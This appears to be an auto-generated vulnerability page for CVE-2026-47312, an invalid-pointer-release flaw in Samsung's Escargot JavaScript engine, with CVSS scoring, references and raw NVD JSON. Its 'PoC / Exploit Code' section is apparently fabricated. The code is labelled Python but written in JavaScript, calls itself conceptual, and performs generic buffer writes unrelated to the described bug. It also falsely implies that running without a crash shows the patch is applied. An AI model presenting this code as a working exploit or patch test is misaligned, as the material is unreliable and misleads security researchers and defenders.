CVE-2026-47312

Description

Release of invalid pointer or reference vulnerability in Samsung Open Source Escargot allows Buffer Manipulation. This issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Escargot commit 590345cc6258317c5da850d846ce6baaf2afc2d3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-47312 (Conceptual)
// This script attempts to trigger the invalid pointer release
// in Samsung Escargot by manipulating buffer objects.

function trigger_poc() {
    try {
        // Create a large buffer to stress memory
        let buffer = new ArrayBuffer(0x1000);
        let view = new DataView(buffer);

        // Simulate the scenario leading to the vulnerability
        // Specific logic depends on commit 590345cc
        for (let i = 0; i < 100; i++) {
            // Force reallocation and potential invalid access
            let temp = new ArrayBuffer(0x10000);
            view.setUint32(0, 0x41414141, true);
        }
        console.log("If execution reaches here without crash, the patch may be applied.");
    } catch (e) {
        console.log("Exception caught: " + e.message);
    }
}

trigger_poc();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-47312
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-47312
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-47312/
[4] VulDB https://vuldb.com/cve/CVE-2026-47312
[5] https://github.com/Samsung/escargot/pull/1565

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-47312", "sourceIdentifier": "[email protected]", "published": "2026-05-19T08:16:15.030", "lastModified": "2026-05-19T14:25:40.320", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Release of invalid pointer or reference vulnerability in Samsung Open Source Escargot allows Buffer Manipulation.\n\nThis issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-763"}]}], "references": [{"url": "https://github.com/Samsung/escargot/pull/1565", "source": "[email protected]"}]}}